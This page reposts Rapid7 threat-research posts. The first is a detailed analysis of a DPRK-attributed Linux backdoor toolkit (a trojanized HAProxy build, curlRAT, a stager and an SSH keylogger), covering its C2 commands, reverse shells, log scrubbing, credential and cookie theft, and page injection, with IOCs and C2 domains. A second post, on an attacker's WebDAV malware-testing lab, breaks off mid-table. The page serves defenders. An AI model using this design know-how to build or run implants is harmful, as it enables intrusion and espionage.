Tag Archives: Malware

DPRK APTs: Ted backdoor and curlRAT target South Korean media and automotive sectors

Post Syndicated from Rapid7 Labs original https://www.rapid7.com/blog/post/tr-dprk-apts-ted-backdoor-curlrat-target-south-korean-media-automotive-sectors

Overview

A new Linux toolkit, identified by Rapid7 Labs, has been targeting organizations across South Korea’s automotive and media industries with minimal detection. The campaign made use of a HAProxy instance named “ted backdoor”, alongside trojanized versions of crond, agetty, atd, sshd, and polkitd. This previously undocumented framework enabled threat actors to execute remote commands on compromised servers, inject malicious scripts into web traffic, perform credential harvesting, and engage in long-term surveillance.

The standout feature of this toolkit is its depth of integration with the target environment. The ted backdoor is compiled as part of the victim’s existing HAProxy version 2.8.12. It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected.

Operating alongside this are an SSH keylogger, a curl-based RAT, and a stager. The RAT maintains a watchdog thread dedicated to tracking HAProxy’s health, and reporting it back to the operator’s infrastructure. The earliest uploads on VirusTotal date back to mid-2025 and the involved HAProxy 2.8.12-0fdb194 was released on 22 November 2024, establishing this as the earliest possible compilation date for this build.

The toolkit is attributed with medium confidence to DPRK APTs, given that the attacks Rapid7 observed were targeting South Korean media and automotive sectors, likely aiming at long-term espionage, the usage of simple xor-based encryption, custom substitution cipher, and the list of C2s hardcoded is associated to APT37 by ThreatFox and maltrail. Analysis shows that the ted backdoor could be part of a broader framework covering nginx backdoor as well. The ted plugin registers a custom HAProxy filter that hooks the HTTP parser to inspect and log high-value traffic, steal session cookies, and perform a client IP selection to decide whether to inject custom scripts in the webpage being rendered.

Technical analysis

Rapid7 researchers revealed that the toolkit was used in campaigns targeting South Korean automotive and media sectors likely dating back to early 2025. The number of trojanized binaries and functionalities found suggest the scope could be long-term cyber espionage and surveillance. However, gathered evidence does not suffice to establish a timeline nor how the initial access was performed.

At the time of analysis, both victims were running an edge webserver with ports 80, 443, and 25 exposed. Port 443 hosted the Groupware login portal and port 25 exposed a mail server. Either surface represents a plausible initial access vector consistent with documented Kimsuky tradecraft. Since the beginning of 2026 Kimsuky has been observed exploiting RCE vulnerabilities in externally accessible mail servers to compromise South Korean groupware vendors, while Groupware web portals represent the kind of exposed authenticated application that DPRK-nexus actors have repeatedly targeted for credential harvesting and exploitation. The specific entry point and any associated CVE remain unconfirmed pending further forensic evidence.

The scenario shown in Figure 1 assumes the initial access is obtained by exploitation of CVEs related to the Groupware portal.

ted-backdoor-attack-chain.png
Figure 1: Attack chain partially reconstructed

The threat actor begins by exploiting a vulnerability in the Groupware login portal running on the edge webserver, gaining an initial foothold in the DMZ. From there, they establish persistence and harvest credentials from the compromised edge host (e.g. SSH keylogger), which also doubles as a staging server hosting the trojanized system ELFs.

With a foothold on the edge, the attacker pivots inward and drops the stager onto internal servers. The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT retrieving it either from its data section or the edge webserver. 

In parallel, ted backdoor is dropped onto the HAProxy load balancer. Once active,it establishes its own C2 channel to the external operator infrastructure, enabling data exfiltration, command execution, and script injection. On the victim side, the compromised load balancer silently redirects or serves malicious content to selected clients browsing through it, completing the watering-hole loop.

SSH keylogger

4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5 intercepts legitimate users’ plaintext passwords and saves them to an encrypted log file under /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19.

figure2.png
Figure 2: hardcoded master passwords in userauth_passwd()

After checking that entered credentials are not equal to TA’s master passwords, userauth_passwd() proceeds to encrypt them using a custom substitution cipher recurring throughout the toolkit and base64 encoding.

fig3.png
Figure 3: Substitution cipher used to encrypt credentials

Pivoting from the above cipher, instances of polkitd, crond, agetty and atd binaries were identified using a similar encryption algorithm. Crond binaries were found to be delivered by a stager.

CurlRAT Stager

The stager 5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91 starts by decrypting its configuration strings using a 1-byte XOR, then verifies root privileges and profiles the OS checking system hostname, OS distribution and version IDs, kernel release and version numbers and CPU architecture to select the correct payload to drop. It decrypts the trojanized crond binary in memory, overwrites the system’s legitimate daemon, and restarts the service. As shown below, only if HAProxy or cron are running on the system will it proceed to drop the backdoored crond.

fig4.png
Figure 4: Stager configuration

Checking for HAProxy presence is done as the binary, named by TA as ted backdoor. It also has RAT capabilities and plays a major role in the campaigns described. The embedded crond versions supported are CentOS 7.7, 7.8, 7.9 and Ubuntu 22.04 and after installing the backdoor, timestomping ensures the crond binary gets the same creation timestamp of /usr/bin/ssh. The stager ends by filtering out keywords such as tmp, wget cron and crond from Linux system logs using a staging file named /tmp/jasper-log, likely to blend in as the JSP (JavaServer Pages) engine in old Apache Tomcat versions, erasing any traces of the installation. The logs affected by the selective erasure are /root/.bash_history and the following under /var/log: messages, audit/audit.log, cmd.log, secure, syslog, auth.log.

09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe and fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61 are a different variant of the stager that fetches backdoored binaries from a compromised victim’s server without embedding any payloads.

CurlRAT

The Ubuntu version is analyzed below, though CentOS samples follow the same logic except for the filepath used to hide config/staging files.

As for the stager, feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3 starts by decrypting configuration strings using a 1-byte XOR key (0x58).

fig5.png
Figure 5: curlRAT configuration

The main logic added to crond is executed via two threads. The first thread runs the start_routine function that creates the staging directory snapd under /var/lib, where it attempts to load the victim ID from /var/lib/snapd/g580. If network failures were previously recorded, it reaches out to a secondary domain – img.darklights.store – authenticating with api_token/ecd427ea8330a4ff73618483e00b9b41 and setting the User-token header to the victim ID to fetch updated configuration under /tmp/nimon.unix-docbase.8564479396043450766-db6fb4443bc, where it’s then copied into /var/lib/snapd/g105.

To decrypt the configuration, the first byte of the file initializes the seed of a feedback xor based cipher. Each poll cycle, a config file is fetched from the C2 server over HTTPS (falling back to HTTP on failure) using libcurl, with the victim token embedded in the User-token header. The fetched config is parsed for three single-character delimiters — ! terminates the credential field, # marks the payload section, and * separates arguments — after which the credential field is compared against the local victim token.

If authentication succeeds, a single-character mode byte (ASCII ‘0’ through ‘5’) preceding the delimiter “#” selects one of six handler routines via a jump table. Payloads embedded in the config are decoded through a two-stage pipeline: standard Base64 decoding followed by a rolling cumulative XOR cipher keyed from the decoded header. The C2 task handler sleeps for 43,200 seconds (12 hours) between polls by default, but the operator can activate a fast-poll mode by setting a flag, reducing the interval to 30 seconds. A retry loop calls the handler up to six times per cycle with five-second intervals, failing fast if the first attempt does not succeed. The table below shows the C2 commands accepted.

Mode

Function

Description

0

cmd execution

Base64 + XOR-decodes a command list from the config, executes each line via popen with stderr redirected to stdout, saves output into a 1 MB buffer, and sends the result back.

1

config write

Decodes and writes a new config payload to disk, validates it, and sets the polling interval and fast-poll flag. If the validation fails, the C2 resets to img.monderhouse.space

2

staged payload drop

Issues an authenticated HTTP POST to the C2 host with a task path as the body, streams the response to a temporary file, decompresses and moves it to the final drop path, unlinking the temp.

3

reverse shell

Closes all file descriptors above 2, calls setuid(0) and setreuid(0, 0), forcing both its real and effective user IDs to root, and connects out before handing off to the shell dispatcher.

4

beacon

Populates a 10 KB system-info structure and transmits it as a check-in beacon.

5

PTY shell

A full interactive PTY shell, the payload consists of an ip:port.

Modes 0–2 and 4 use libcurl-based HTTP/HTTPS, hence the name curlRAT. All modes use Base64+XOR encoding/decoding applied to the payload. The victim ID is obtained by concatenating “cron_3.0pl1-137ubuntu3“, system hostname, ipv4 address, and the hardware/OS UUID (read from /sys/class/dmi/id/product_uuid), then applying MD5 hash and converting it to uppercase.

The layer of encryption used for all C2 interactions consists of a feedback xor cipher using an initial random seed (modulo 240 + 10, 0<=seed<=249) and then applying Base64 encoding. The malware encapsulates the encrypted and encoded payload, the service name, and the telemetry type into a formatted application/x-www-form-urlencoded HTTP POST body (name=%s&value=%s&type=%d) which is sent to the C2 and authenticated using an hardcoded API token, including the victim ID in the User-token header.

The second thread acts as the HAProxy watchdog. Before entering the monitoring loop, it checks for the presence of the file /usr/lib/libvirtlog.so.0 to ensure the target is running in a virtualized environment, otherwise it sleeps 6 minutes and aborts. Then it accesses the MD5 victim ID under /var/lib/snapd/g580 to check if the node is active and compromised. Every hour the watchdog reads the pid at /var/run/haproxy.pid and monitors the status of HAProxy by polling /proc/pid. The status can be one of the following codes:

  • 0 (Started): Process transitioned from stopped to running
  • 1 (Stopped): Process is no longer active in the kernel process table
  • 2 (Restarted): PID file timestamp modified, and a new PID is detected
  • 3 (Reloaded): PID file timestamp modified, but the PID remained identical

The status is then sent to the C2 endpoint “writeservice_info” using the custom crypto layer and the telemetry type set to 0 (Figure 6).

fig6.png
Figure 6: writeinfo_service monitoring HAProxy status

The CentOS versions of curlRAT contain the same functionalities, except that functions are masqueraded as atd_ routines to blend in during static analysis.

fig7.png
Figure 7: The two threads running curlRAT logic

Below is the table summarizing the main RAT components.

Capability Group

Functions Identified

Reverse Shell / PTY

atd_reverse_try_root, atd_reverse_create_conn, atd_reverse_is_alive, atd_reverse_open_pty, atd_reverse_cleanup_tty, atd_reverse_open_term, atd_reverse_handle_sigs, atd_reverse_close_inherited_sockets

C2 & Network Comms

atd_http_request, atd_response, atd_request, atd_download_to_file, atd_download_config, atd_encrypt_url, atd_decrypt_url, atd_check_haproxy, atd_write_callback

Host Profiling & Recon

atd_get_hostname_info, atd_check_info, atd_get_ip_info, atd_get_system_info, atd_get_version_info, atd_get_machine_info, atd_get_service_info, atd_create_id, atd_get_id

Command Execution & Crypto

atd_run_shell, atd_run_cmd, atd_run_module, atd_base64_encode, atd_base64_decode, atd_md5

Earlier version of the RAT hardcode C2 without using XOR encryption (Figure 8).

fig8.png
Figure 8: Default configuration curlRAT 8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c

The atd_get_info() is a recon routine likely used to decide which binary trojanized next to ensure persistence on the node. It collects the service name of the compromised machine and sends it to the C2 via the atd_response routine together with Ipv4 address, OS version, and the list of services and listening port (Figure 9).

image18.png
Figure 9: Recon module output sent to the C2

MODE, DELAY and SERVER_URL are parsed from the config file discussed previously. During the campaign observed by Rapid7, the RAT acts as a framework and constitutes the codebase to edit legitimate system daemons. Other trojanized instances found are agetty and polkitd, where we identified a similar pattern lacking the HAProxy monitor: the creation of a thread to run curlRAT, reaching to img.worksongo.store and img.socialteams.store respectively.

atd_encrypt_url and atd_decrypt_url leverages the substitution cipher “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/–__” shared with the ssh keylogger.

Ted backdoor

The TA recompiled the HAProxy build 2.8.12 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558 (18MB) to include a custom plugin (named ted_plugin) leaving debug strings naming the backdoor.

fig10.png
Figure 10: ted_plugin compiled as part of the source code

Figure 10 shows that the plugin was directly compiled with the rest of HAProxy source code and hooks directly the built-in HTTP parser relying on internal HAProxy structure for searching HTTP request headers. The custom filter defined to capture traffic is loaded via the ted_load_filter_config routine. 

fig11.png
Figure 11: my_filter_config struct

The routine reads the implant’s operational configuration from ~/cache/haproxy-1000.cache. Each field is decrypted in two layers: first ngx_decode applies a chained XOR seeded by the file’s first byte; then ngx_decrypt_script applies a monoalphabetic substitution whose 67-entry mapping table is built at startup in ted_init_util from “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/–__” , and held in the ted_dec_dict uthash table keyed by Jenkins hash for O(1) lookup. The config carries the operating mode, all targeting regexes, every script rule with its payload paths and filenames, and the allowed operator keys. IP-based access control lists are loaded from haproxy-1001.cache and haproxy-1002.cache via the same decryption scheme. In other ted backdoor samples, the my_filter_config struct includes regexes to capture cookies as well.

After loading its configuration, it sets up signal handling via ted_register_reload_signal_handler() and saves its C2 pipe under HAPROXY_MWORKER_PP_READ and HAPROXY_MWORKER_PP_WRITE environmental variables to survive reloads and restarts, saving child process activity via ted_extra_log().

Below is the list of functions defined by the ted_plugin:

Capability

ted_* routines

HTTP interception and traffic hooking

ted_flt_register_ops2, ted_http_headers_for_htx, ted_chn_analyze_for_htx_constprop_0, ted_chn_analyze_for_htx_constprop_0_cold, ted_http_payload, ted_find_value_from_header_ist

C2 and task execution

ted_pipe_master_thread, ted_pipe_worker_thread, ted_task_for_response, ted_alloc_task_context

IPC and pipes

ted_init_main_pipe, ted_create_pipe_file, ted_create_multi_pipe_file, ted_make_pipe_name

Configuration and rules engine

ted_load_filter_config, ted_reload_filter_config, ted_free_filter_config, ted_load_ip_set

In-memory data structures

ted_set_add, ted_set_contains, ted_set_clean, ted_set_add_string, ted_set_contains_string, ted_set_clean_string

Logging, file I/O

ted_extra_log, ted_save_capture_log2, ted_write_fd, ted_build_correct_path

Initialization and persistence

ted_init_util, ted_register_reload_signal_handler, ted_regex_free

The HAProxy trace_ops struct is copied into my_filter_ops, and contains a hooked tracing method.

fig12.png
Figure 12: my_filter_ops containing hooked methods

trace_chn_start_analyze() is hooked via ted_chn_analyze_for_htx_constprop_0() that parses the HTX buffer — the memory region where HAProxy stores parsed, SSL-decrypted HTTP request. If an incoming request matches the endpoint “/favorite_list_2x_m500_ico.jpg” (Figure 13), the malware drops into a Command & Control mode, setting the field flag to 1 in the ted_rep_state structure that tracks the response state. 

fig13.png

fig135.png
Figure 13: Dropping into C2 mode

First, it reaches into HAProxy’s internal counters to decrement active connection stats, referencing fields from the proxy struct via hardcoded 2.8.12 offsets to clear any trace left: the per-backend beconn/feconn and the global actconn, then 64-bit fields within be_counters (cum_conn, cum_req, bytes_in, bytes_out) guarded against underflow, and 32-bit peak metrics (sps_max, conn_max, cps_max) decremented only when exactly 1. Secondly, it parses a custom hardcoded 14-byte header to obtain the payload length, then creates FIFO pipes via ted_make_pipe_name and ted_create_multi_pipe_file keyed on HAProxy’s connection ID under /tmp (e.g. /tmp/t[ID]_w.pipe). If HAProxy is running in master-worker mode (MODE_MWORKER, bit 0x80), the connection ID is written to the pp_w2m pipe so the master process runs the dispatcher; otherwise a detached thread runs ted_pipe_worker_thread locally (Figure 13).

The HTX walk filters on block type 4, which is HTX_BLK_DATA, and writes each block straight into fdPipe with write(). Any short write aborts and closes the pipe. Afterwards to_forward, output, buf.head and buf.data on the request channel are all zeroed. That tells HAProxy there is nothing left to forward, so the attacker’s command body never reaches a backend server. The C2 request terminates at the load balancer, and no backend ever logs it.

The C2 dispatcher logic is resumed in the table below.

Command

Description

Opcode ‘0’ (0x30)

Beacon: returns a version banner including build ID (24112201), HAProxy version (2.8.12-0fdb194), master-worker mode status, and chroot path.

Opcode ‘1’ (0x31)

File upload: resolves path via ted_build_correct_path, writes file content via fopen(path, “wb”), and replies 1. Used to upload payload files for the injection path.

Opcode ‘2’ (0x32)

File download: reads a path, stats it, writes the 8-byte size, and streams the contents back with EAGAIN handling.

Opcode ‘3’ (0x33)

Command execution: executes commands via popen; merges stdout/stderr, appends ” 2>&1″, and streams output back XOR-encrypted.

Opcode ‘9’ (0x39)

Config update: writes new config to ~/cache/haproxy-1000.cache.bak, re-encrypts using chained XOR, validates via ted_load_filter_config, and renames over the active config file if successful.

All five handlers write the same “HTTP/1.0 200 OK” header with Content-Type: text/html into the read pipe before the body. That’s what the response task then relays out via send() on the raw socket, which is why the traffic looks like an ordinary HTTP response on the wire despite never passing through HAProxy’s response path. Output back to the operator uses a rolling XOR cipher where each plaintext block is the key used to encrypt the next block with a random 1-byte seed.

If the initial endpoint check does not match “/favorite_list_2x_m500_ico.jpg” and the filter is in capture mode, then traffic is selectively logged and victims are identified based on the capturelist_set field within the my_filter_config struct (Figure 11), containing the list of targeted IPs and subnets. It uses regular expressions to filter the incoming HTTP traffic, waiting for high-value requests (like a user hitting a /login endpoint or an admin panel).

When a victim’s request matches the attacker’s filters, the backdoor goes to work.

It extracts the victim’s source IP, the requested Host, the Referer, and the User-Agent formatting the data in a single-line record using exclamation marks as separators.

fig14.png
Figure 14: Real-time capturing of selected HTTP headers matching specific regexes

The execution flow continues based on conf->action; zero means passive logging only, non-zero starts the injection path. A request then has to clear four conditions. It needs a User-Agent, and if agent_pattern is configured that regex has to match. Second, the code scans the User-Agent for the bytes x,6,4, it selects between the two payload paths the matched rule retrieving them ted_script_config struct (path_32 at offset 0x18 and path_64 at 0x20). Third, the script rule list is walked until one ted_script_config entry’s URL and referer regexes both match, with a null referer counting as an automatic pass. Thus the operator catches a victim arriving at a specific page from a specific referrer, rather than spraying at everyone hitting a URL.

fig15.png

fig155.png
Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context

Fourth, the implant parses AcceptLanguage splitting on ; and =, pulling four operator-controlled fields: mrt for the 64-byte uid credential, msc for an 8-byte status, mst for an 8-byte score, and a fourth keyword read from off_355407 for a 1024-byte info blob. Parsing is order-independent and any subset can appear. If mrt yields a key, it must exist in allow_id_set, and that credential overrides IP filtering entirely, letting the operator reach the requested page from anywhere. It also upgrades the log record to the *-prefixed format carrying uid, status, score, and info. With no key, the fallback is IP-based: action == 1 requires whitelist membership, action == 2 requires blacklist absence, both checked twice, once with the final octet zeroed for /24 subnet matching and once for the exact host. 

Once all checks are cleared the chosen file is opened, stored in the per-connection ted_rep_state as fpAppend and nTotal, alongside a script_conf back-reference to the matched rule. The replace byte at offset 0x00 of that rule sets flag to 4 when zero and 2 when non-zero, distinguishing appending content from substituting it. Finally the code sets its filter flag and increments nb_rsp_data_filters or nb_req_data_filters on the stream, which is HAProxy’s documented opt-in for body access– this time reusing the internal structure of the load balancer to inject code into the page at delivery time.

image6.png
Figure 16: Hooking the HTTP response

Once a victim is marked for injection, two callbacks finish the job on the way out. ted_http_headers_for_htx runs first, and only when the data is on the response side, a state block is initialized during the request, and the transaction flag is set. It rechecks the response against the rule that matched earlier, testing Content-Type and the status line, so a payload is delivered only when the reply is a document worth modifying. It then reshapes the response to fit the incoming file: sets Content-Type, adds a Content-Disposition filename if the rule has one, writes the new body length into the custom length header, deletes Accept-Ranges so the client cannot request byte ranges and spot the size mismatch, and forces the status to 200 OK if it was anything else.

ted_http_payload performs the swap. For each body chunk, it takes only as much as the payload file has left, reads that slice from disk, decrypts it with ngx_decrypt_script, and substitutes it through HAProxy’s own body-editing calls. When the replacement changes the body length, the code shifts every remaining filter’s offset by the difference, so nothing downstream sees an inconsistency. With the rewritten length header and range support stripped, the size change leaves no trace.

trace_http_end handles the leftover bytes. The previous callback can only overwrite bytes that already exist in the response, so when the payload is larger than the original body there is a remainder with nowhere to go. This function runs at the end of the response and appends it. It checks that the state block is in an injection mode, that the headers were already rewritten, and that fewer bytes have been delivered than the payload holds. If so, it measures the free space left in the response buffer, reads exactly that much from the payload file, decrypts it with ngx_decrypt_script, and appends it as a new data block, bumping the channel’s output count to match. 

The result is that a payload of any size can be delivered across as many passes as it takes, using HAProxy’s own scheduler to drive the process.

To ensure persistence, curlRAT is integrated and hidden as libc routines.

image9.png
Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7

Attacker infrastructure

The observed infrastructure follows a consistent pattern: Domains are registered under low-cost commodity TLDs — .store, .space, .site, .autos — and use subdomain schemes mimicking image-serving CDN endpoints (img.) They then blend payload delivery traffic into normal web browsing. The naming convention across suggests a shared registration workflow rather than ad-hoc infrastructure. The img.responsive.pstatic.autos mimics Naver’s pstatic.net static content domain, a South Korean web platform, which combined with the watering-hole delivery model adopted by the ted backdoor is consistent with targeting of Korean-speaking users.

Attribution

At the time of the analysis, compromised servers had exposed the Groupware login portal on port 443, which is heavily present in Korean enterprise environments. The targeting of regional software (Groupware), mimicking Naver’s static content domain, usage of simple xor and substitution ciphers and the watering-hole model already documented in the Operation Code on Toast (APT37) and Operation Synchole (Lazarus), allows medium confidence attribution to DPRK APT. The list of C2s hardcoded is associated with APT37 by ThreatFox and maltrail.

The campaign’s timeline and delivery mechanism overlap with Operation SyncHole, a concurrent Lazarus campaign documented by Kaspersky running from November 2024 through February 2025, in which Lazarus compromised South Korean media sites to redirect visitors to pages serving malicious JavaScript payloads. APT37 and Lazarus Group are distinct North Korean state-sponsored threat clusters assessed by Mandiant to operate under different DPRK agencies — APT37 under the Ministry of State Security, Lazarus under the Reconnaissance General Bureau — though both conduct cyber espionage targeting South Korean entities. Lazarus has been observed to deploy backdoored open-source programs to deliver malware and use feedback XOR + base64 to interact with the C2 by Kaspersky. As of July 2026, similar suspected initial access has been reported by ENKI WhiteHat, suggesting that if a vulnerability in South Korean mail appliances exists, the exploitation could still be ongoing and leveraged by DPRK APTs.

Further evidence is necessary to make a more definitive assessment. Moreover, the presence of ngx_* prefixed routines within the ted backdoor suggest code reused from an nginx backdoor. The ngx_* prefixed routines were observed during the latest Funnull campaign, where (similar to our case) a custom nginx filter was registered to hook HTTP traffic, and simple XOR encryption was applied to the configuration file. However, other than a similar naming convention, no significant code-level overlaps exist to support a stronger linkage.

Conclusion

ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection. Defenders should treat any edge component managing user traffic, SSL, or runtime modules with the same strict security standards as their main application servers. Relying on the component’s own logs is not enough; securing these systems requires independent network correlation, memory behavioral analysis, and binary integrity checks.

MITRE ATT&CK techniques

Tactic

Technique

Detail

Component

Initial access

[T1190] Exploit public-facing application

HAProxy filter API abused as injection point; watering-hole payload delivery via compromised load balancer

ted backdoor

Execution

[T1059.004] Unix shell

popen() used for one-shot command execution per opcode ‘3’; PTY shell spawned per opcode ‘5’; reverse shell per opcode ‘3’ in CurlRAT

ted backdoor, CurlRAT

Execution

[T1106] Native API

pthread_create / pthread_detach for detached shell threads; HAProxy pool_alloc / task_wakeup for async response scheduling

ted backdoor

Persistence

[T1574.006] Hijack execution flow: dynamic linker

Implant loaded as HAProxy shared library filter at process start; persistent across HAProxy restarts

ted backdoor

Persistence

[T1543] Create or modify system process

Legitimate crond binary overwritten in-place; service restarted; timestomping to match /usr/bin/ssh creation time

Stager, CurlRAT

Privilege escalation

[T1548] Abuse elevation control mechanism

setuid(0) / setreuid(0,0) called before reverse shell daemonisation; stager verifies root before payload drop

Stager, CurlRAT

Defence evasion

[T1036.005] Masquerade: match legitimate name

crond, polkitd, agetty, atd binary names used; CentOS variant masquerades functions as atd_ routines in static analysis

Stager, CurlRAT

Defence evasion

[T1070.002] Clear Linux logs

Selective keyword erasure (tmp, wget, cron, crond) from bash_history, messages, audit.log, secure, syslog, auth.log via /tmp/jasper-log staging file

Stager

Defence evasion

[T1070.006] Timestomp

Backdoored crond given same creation timestamp as /usr/bin/ssh post-install

Stager

Defence evasion

[T1562.006] Disable or modify OS logging

HAProxy connection counters (beconn, feconn, actconn, cum_conn, cum_req, bytes_in, bytes_out, sps_max, conn_max, cps_max) atomically scrubbed via hardcoded struct offsets

ted backdoor

Defence evasion

[T1027] Obfuscated files or information

Config files encrypted with chained XOR + monoalphabetic substitution; payload scripts encrypted with substitution cipher; C2 comms protected with feedback XOR + Base64

Stager, CurlRAT, ted backdoor

Defence evasion

[T1497.001] Virtualisation/sandbox evasion

CurlRAT watchdog checks /usr/lib/libvirtlog.so.0 before activating; aborts if not in virtualized environment

CurlRAT

Defence evasion

[T1480] Execution guardrails

Stager deploys only if HAProxy or cron are detected; CurlRAT validates victim token before handler dispatch; ted blacklists known scanner IPs

Stager, CurlRAT, ted backdoor

Credential access

[T1556.003] Modify authentication process: pluggable authentication modules

SSH keylogger intercepts plaintext passwords; credentials saved to encrypted log at /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19

CurlRAT

Credential access

[T1539] Steal web session cookie

Passive capture engine intercepts HTTP sessions; harvests Source IP, Host, URL, Referer, User-Agent, Accept-Language key via regex-gated filters

ted backdoor

Discovery

[T1082] System information discovery

Stager profiles hostname, OS distro, version, kernel release, CPU arch to select payload; CurlRAT beacon transmits 10KB system-info structure

Stager, CurlRAT

Discovery

[T1057] Process discovery

CurlRAT watchdog polls /proc/haproxy.pid hourly; tracks started/stopped/restarted/reloaded states; reports via writeservice_info endpoint

CurlRAT

Collection

[T1185] Browser session hijacking

Response body replaced or appended with decrypted payload script via HAProxy data filter callbacks; Content-Type, Content-Length, Content-Disposition rewritten; 200 OK forced; Accept-Ranges stripped

ted backdoor

Collection

[T1119] Automated collection

Passive capture logs timestamped records per matched request; expanded * records written when Accept-Language mrt key present

ted backdoor

C2

[T1071.001] Application layer protocol: web protocols

ted C2 tunnelled as HTTP through load balancer; CurlRAT polls C2 over HTTPS with libcurl fallback to HTTP; all payloads as application/x-www-form-urlencoded POST

CurlRAT, ted backdoor

C2

[T1132.001] Data encoding: standard encoding

All CurlRAT C2 payloads Base64-encoded after feedback XOR; ted pipe protocol uses raw bytes with rolling XOR session key

CurlRAT, ted backdoor

C2

[T1102] Web service

CurlRAT falls back to secondary C2 img.monderhouse.space on config validation failure; img.darklights.store used as backup config host

CurlRAT

C2

[T1572] Protocol tunnelling

Interactive shell tunnelled through HAProxy HTTP pipeline via named FIFOs; response exfiltrated via raw send() on TCP socket bypassing HAProxy logging

ted backdoor

C2

[T1568] Dynamic resolution

CurlRAT victim ID derived from hostname + IP + hardware UUID + cron version string, MD5’d and uppercased; used as User-token header in all C2 requests

CurlRAT

Exfiltration

[T1041] Exfiltration over C2 channel

SSH credentials exfiltrated via CurlRAT C2; session capture logs written by ted; CurlRAT mode 0 streams command output back over same channel

Stager, CurlRAT, ted backdoor, SSH keylogger

Exfiltration

[T1560] Archive collected data

SSH keylogger output encrypted with substitution cipher before writing; CurlRAT applies feedback XOR + Base64 to all outbound data

CurlRAT, SSH keylogger

Indicators of compromise (IOCs)

CurlRAT Stager

5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91

09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe

fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61

CurlRAT

83f7d565b0465546027052b597af46eae3a199e7a91fcc2ab936341147349130

7007a78d50a993cb174c685eba96eb442c9507e38fd9d8e5dffc712f613ec110

6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53

ed72f4cd8d467b5c5d95ae6aeca4aaeea14d79565d379c1ca5871a714727be16

feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3

6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53

d53c760c23b4405eb04ad0f20ead375440344b3bdf1fb7854ed12e40d155eabe – cronie

2f02b09d61d432134e994ad671258f523bbf289ae6091fd4eae192c60bd51b6f – agetty

8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c – atd

a1d8af3a6acb731f07f72040eccb3450c1c83d40e29f736c2a63d35388660be4 – polkitd

12810854c8b2c391b23e2e18b013e873d0369b0637aa3cf993136c07188ba3b8

009a1e2d7a582a24e50cf2ffc2a005482c8e38f22bf5ed416053855f8d054e1e

SSH keylogger

4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5

Ted backdoor

94630b96f628c96a6bff7904b40ffc9ad67c86f8a4ff6080c3b524831c93f402

72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558

a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7

C2

img.monderhouse.space

img.smartnords.site

img.darklights.store

img.responsive.pstatic.autos

img.socialteams.store

img.worksongo.store

Rapid7 customers

From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab

Post Syndicated from Anna Širokova original https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn’t just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category

Files

Functions and discoveries

LNK delivery launchers

453

Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

Filename-spoofing QA

236

Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

URL/LOLBin execution tests

146

Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

Encrypted droppers

89

Staged second-stage payloads and installer-style packages

Alternative execution containers

24

